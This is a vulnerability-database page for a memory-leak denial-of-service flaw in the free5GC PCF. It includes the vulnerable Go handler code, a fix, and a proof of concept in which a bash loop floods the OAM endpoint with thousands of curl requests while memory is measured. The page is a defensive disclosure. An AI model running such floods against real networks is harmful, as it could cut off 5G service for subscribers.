Vulnerability-Lookup

CVE-2026-41135 (GCVE-0-2026-41135)

Vulnerability from cvelistv5 – Published: 2026-04-21 23:49 – Updated: 2026-04-22 14:19

Title

free5GC PCF: Memory Leak via CORS Middleware Registration in HTTP Handler Leads to Denial of Service

Summary

free5GC UDR is the Policy Control Function (PCF) for free5GC, an an open-source project for 5th generation (5G) mobile core networks. A memory leak vulnerability in versions prior to 1.4.3 allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a `router.Use()` call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment. Version 1.4.3 contains a patch.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M

References

URL

Tags

	https://github.com/free5gc/free5gc/security/advis…	x_refsource_CONFIRM
	https://github.com/free5gc/pcf/commit/599803b1b2e…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	free5gc	pcf	Affected: < 1.4.3

Show details on NVD website

JSON

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FKIE_CVE-2026-41135

Vulnerability from fkie_nvd - Published: 2026-04-22 00:16 - Updated: 2026-04-23 19:41

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/free5gc/free5gc/security/advisories/GHSA-98cp-84m9-q3qp	Exploit, Vendor Advisory
security-advisories@github.com	https://github.com/free5gc/pcf/commit/599803b1b2eb4611e26d5216481ee142bce71a16	Patch
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/free5gc/free5gc/security/advisories/GHSA-98cp-84m9-q3qp	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	free5gc	free5gc	*
	free5gc	pcf	*

JSON

To clipboard

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GHSA-98CP-84M9-Q3QP

Vulnerability from github – Published: 2026-04-22 19:49 – Updated: 2026-04-22 19:49

Summary

free5GC PCF: Memory Leak via CORS Middleware Registration in HTTP Handler Leads to Denial of Service

Details

Summary

A memory leak vulnerability in the free5GC PCF (Policy Control Function) allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a router.Use() call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment.

Details

File: free5gc/pcf/internal/sbi/api_oam.go
Function: setCorsHeader(), called by HTTPOAMGetAmPolicy()

The function setCorsHeader() invokes s.router.Use() on every incoming HTTP request:

func (s *Server) setCorsHeader(c *gin.Context) {
    // BUG: router.Use() inside a handler — executes on every request
    s.router.Use(cors.New(cors.Config{
        AllowMethods:     []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"},
        AllowAllOrigins:  true,
        AllowCredentials: true,
        MaxAge:           CorsConfigMaxAge,
    }))
    // Redundant manual header setting
    c.Writer.Header().Set("Access-Control-Allow-Origin", "*")
    c.Writer.Header().Set("Access-Control-Allow-Credentials", "true")
    // ...
}

func (s *Server) HTTPOAMGetAmPolicy(c *gin.Context) {
    s.setCorsHeader(c) // ← called on every GET /npcf-oam/v1/am-policy/:supi
    // ...
}

In the Gin framework, router.Use() appends a new HandlerFunc to the router's internal middleware slice. This operation is not idempotent — it does not replace existing middleware but appends a new instance on every call. After N requests, Gin executes N CORS middleware instances before reaching the actual handler:

Request N → [cors_mw_1 → cors_mw_2 → ... → cors_mw_N → actual_handler]

Since s.router holds a permanent reference to the accumulated middleware slice, the Go garbage collector cannot free this memory. The additional issue of AllowAllOrigins: true combined with AllowCredentials: true also constitutes a CORS misconfiguration (forbidden by the CORS specification), though this is secondary to the memory leak.

Fix: Move router.Use(cors.New(...)) to the server initialization function (called once at startup), and remove setCorsHeader() from all handlers entirely:

// ✅ server.go — called once at startup
func (s *Server) initRouter() {
    s.router.Use(cors.New(cors.Config{
        AllowMethods:     []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"},
        AllowOrigins:     []string{"https://trusted-origin.example.com"},
        AllowCredentials: false,
        MaxAge:           CorsConfigMaxAge,
    }))
}

PoC

Environment: - free5GC v4.2.1 (commit df535f55, build 2026-03-04) - PCF container IP: 10.22.22.6, port 80 - Attacker: any container on the same Docker network (tested from UDM container) - No authentication required (OAuth2 disabled)

Step 1 — Record memory baseline:

docker stats --no-stream | grep pcf
# Output: 24.86 MiB

Step 2 — Launch flood from attacker container:

for i in $(seq 1 5000); do
    curl -s http://10.22.22.6/npcf-oam/v1/am-policy/imsi-222771234567890 > /dev/null &
    [ $((i % 100)) -eq 0 ] && wait && echo "[*] $i req sent"
done
wait

Step 3 — Monitor memory growth:

watch -n 2 "docker stats --no-stream | grep pcf"

Results:

Requests sent	PCF Memory	Delta
0 (baseline)	24.86 MiB	—
~5,000	46.48 MiB	+21.62 MiB
~10,000	58.59 MiB	+12.11 MiB
~15,000	70.30 MiB	+11.71 MiB
~100,000 (projected)	~170+ MiB	OOM kill

Memory never returns to baseline between request batches, confirming permanent retention by the router's middleware chain.

Impact

Vulnerability type: Uncontrolled Resource Consumption (Memory Exhaustion) leading to Denial of Service.

Who is impacted: Any deployment of free5GC where the PCF OAM interface is reachable from the internal 5G core network. Since all 5G core NFs share the same Docker network by default, any compromised or attacker-controlled NF container can trigger this vulnerability without credentials.

5G service impact: The PCF is responsible for providing AM (Access and Mobility) policies to the AMF and SM (Session Management) policies to the SMF. A DoS of the PCF prevents: - New UE registrations (AM policy creation fails) - New PDU session establishment (SM policy creation fails) - Policy updates for existing sessions

In a production deployment this would result in complete loss of 5G service for all subscribers served by the affected PCF instance.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

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      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/pcf"
      },
      "ranges": [
        {
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            {
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            }
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        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T19:49:45Z",
    "nvd_published_at": "2026-04-22T00:16:29Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA memory leak vulnerability in the free5GC PCF (Policy Control Function) allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a `router.Use()` call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router\u0027s handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment.\n\n## Details\n\n**File:** `free5gc/pcf/internal/sbi/api_oam.go`  \n**Function:** `setCorsHeader()`, called by `HTTPOAMGetAmPolicy()`\n\nThe function `setCorsHeader()` invokes `s.router.Use()` on every incoming HTTP request:\n\n```go\nfunc (s *Server) setCorsHeader(c *gin.Context) {\n    // BUG: router.Use() inside a handler \u2014 executes on every request\n    s.router.Use(cors.New(cors.Config{\n        AllowMethods:     []string{\"GET\", \"POST\", \"OPTIONS\", \"PUT\", \"PATCH\", \"DELETE\"},\n        AllowAllOrigins:  true,\n        AllowCredentials: true,\n        MaxAge:           CorsConfigMaxAge,\n    }))\n    // Redundant manual header setting\n    c.Writer.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n    c.Writer.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n    // ...\n}\n\nfunc (s *Server) HTTPOAMGetAmPolicy(c *gin.Context) {\n    s.setCorsHeader(c) // \u2190 called on every GET /npcf-oam/v1/am-policy/:supi\n    // ...\n}\n```\nIn the Gin framework, `router.Use()` appends a new `HandlerFunc` to the router\u0027s internal middleware slice. This operation is **not idempotent** \u2014 it does not replace existing middleware but appends a new instance on every call. After N requests, Gin executes N CORS middleware instances before reaching the actual handler:\n\nRequest N \u2192 [cors_mw_1 \u2192 cors_mw_2 \u2192 ... \u2192 cors_mw_N \u2192 actual_handler]\n\nSince `s.router` holds a permanent reference to the accumulated middleware slice, the Go garbage collector cannot free this memory. The additional issue of `AllowAllOrigins: true` combined with `AllowCredentials: true` also constitutes a CORS misconfiguration (forbidden by the CORS specification), though this is secondary to the memory leak.\n\n**Fix:** Move `router.Use(cors.New(...))` to the server initialization function (called once at startup), and remove `setCorsHeader()` from all handlers entirely:\n\n```go\n// \u2705 server.go \u2014 called once at startup\nfunc (s *Server) initRouter() {\n    s.router.Use(cors.New(cors.Config{\n        AllowMethods:     []string{\"GET\", \"POST\", \"OPTIONS\", \"PUT\", \"PATCH\", \"DELETE\"},\n        AllowOrigins:     []string{\"https://trusted-origin.example.com\"},\n        AllowCredentials: false,\n        MaxAge:           CorsConfigMaxAge,\n    }))\n}\n```\n## PoC\n\n**Environment:**\n- free5GC v4.2.1 (commit `df535f55`, build `2026-03-04`)\n- PCF container IP: `10.22.22.6`, port `80`\n- Attacker: any container on the same Docker network (tested from UDM container)\n- No authentication required (OAuth2 disabled)\n\n**Step 1** \u2014 Record memory baseline:\n```bash\ndocker stats --no-stream | grep pcf\n# Output: 24.86 MiB\n```\n\n**Step 2** \u2014 Launch flood from attacker container:\n```bash\nfor i in $(seq 1 5000); do\n    curl -s http://10.22.22.6/npcf-oam/v1/am-policy/imsi-222771234567890 \u003e /dev/null \u0026\n    [ $((i % 100)) -eq 0 ] \u0026\u0026 wait \u0026\u0026 echo \"[*] $i req sent\"\ndone\nwait\n```\n\n**Step 3** \u2014 Monitor memory growth:\n```bash\nwatch -n 2 \"docker stats --no-stream | grep pcf\"\n```\n\n**Results:**\n\n| Requests sent | PCF Memory | Delta      |\n|---------------|------------|------------|\n| 0 (baseline)  | 24.86 MiB  | \u2014          |\n| ~5,000        | 46.48 MiB  | +21.62 MiB |\n| ~10,000       | 58.59 MiB  | +12.11 MiB |\n| ~15,000       | 70.30 MiB  | +11.71 MiB |\n| ~100,000 (projected) | ~170+ MiB | OOM kill |\n\nMemory never returns to baseline between request batches, confirming permanent retention by the router\u0027s middleware chain.\n\n## Impact\n\n**Vulnerability type:** Uncontrolled Resource Consumption (Memory Exhaustion) leading to Denial of Service.\n\n**Who is impacted:** Any deployment of free5GC where the PCF OAM interface is reachable from the internal 5G core network. Since all 5G core NFs share the same Docker network by default, any compromised or attacker-controlled NF container can trigger this vulnerability without credentials.\n\n**5G service impact:** The PCF is responsible for providing AM (Access and Mobility) policies to the AMF and SM (Session Management) policies to the SMF. A DoS of the PCF prevents:\n- New UE registrations (AM policy creation fails)\n- New PDU session establishment (SM policy creation fails)\n- Policy updates for existing sessions\n\nIn a production deployment this would result in complete loss of 5G service for all subscribers served by the affected PCF instance.",
  "id": "GHSA-98cp-84m9-q3qp",
  "modified": "2026-04-22T19:49:45Z",
  "published": "2026-04-22T19:49:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-98cp-84m9-q3qp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41135"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC PCF: Memory Leak via CORS Middleware Registration in HTTP Handler Leads to Denial of Service"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-41135 (GCVE-0-2026-41135)

FKIE_CVE-2026-41135

GHSA-98CP-84M9-Q3QP

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature